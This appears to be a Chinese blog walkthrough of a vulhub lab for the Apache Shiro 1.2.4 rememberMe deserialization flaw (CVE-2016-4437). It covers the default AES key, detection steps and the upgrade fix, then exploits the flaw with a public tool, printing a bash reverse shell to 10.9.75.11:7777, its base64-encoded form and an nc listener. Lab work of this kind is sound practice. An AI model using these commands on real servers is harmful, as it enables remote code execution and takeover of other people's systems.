vulhub-Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )

本文详细介绍了ApacheShiro1.2.4版本的反序列化漏洞原理,如何利用AES密钥进行攻击,防御方法以及漏洞验证步骤,同时提供工具和解决方案以检测和利用此漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437 )

漏洞链接

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

漏洞影响

Shiro <= 1.2.5

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。

漏洞防御

shiro更新到1.7及以上

漏洞验证

1.未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

image-20230915212636295

2.登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段

image-20230915212723898

3.不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段

image-20230915213203910

4.勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段

image-20230915213358233

5.或者可以在cookie后面自己加一个rememberMe=1,看返回包有没有rememberMe= deleteMe

image-20230915213646203

漏洞启动

sudo docker-compose up -d

image-20230915211424037

登录画面

image-20230915211812453

使用工具对漏洞进行破解

https://github.com/insightglacier/Shiro_exploit //工具地址

使用工具进行破解

sudo python3 shiro_exploit.py -u url:port 

image-20230916153038633

使用工具出现错误

NO module named 'Crypto'

image-20230916153106863

解决错误

image-20230916153402998

image-20230916153517062

pip uninstall crypto pycryptodome
pip install pycryptodome
//:python安装目录下的\Lib\site-packages,将crypto文件夹的名字改成Crypto。

重新执行命令

sudo python3 shiro_exploit.py -u url:port

image-20230916153606300

vulnerable:True url:http://10.9.75.11:8080 //出现这个就说明就shiro漏洞

image-20230916153700933

使用反弹sheel

## 对反弹shell命令进行加密并利用

1:bash -i >& /dev/tcp/10.9.75.11/7777 0>&1

2:base 64加密

3:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjExLzc3NzcgMD4mMQ}|{base64,-d}|{bash,-i}

然后将其编入工具,实现最终反弹

python3 shiro_exploit.py -t 3 -u http://10.9.75.11:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjExLzc3NzcgMD4mMQ}|{base64,-d}|{bash,-i}"

image-20230916155259747

nc -lnvp 7777 //打开监听

image-20230916155424579
本文工具使用:参考1
其他工具使用:参考2

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值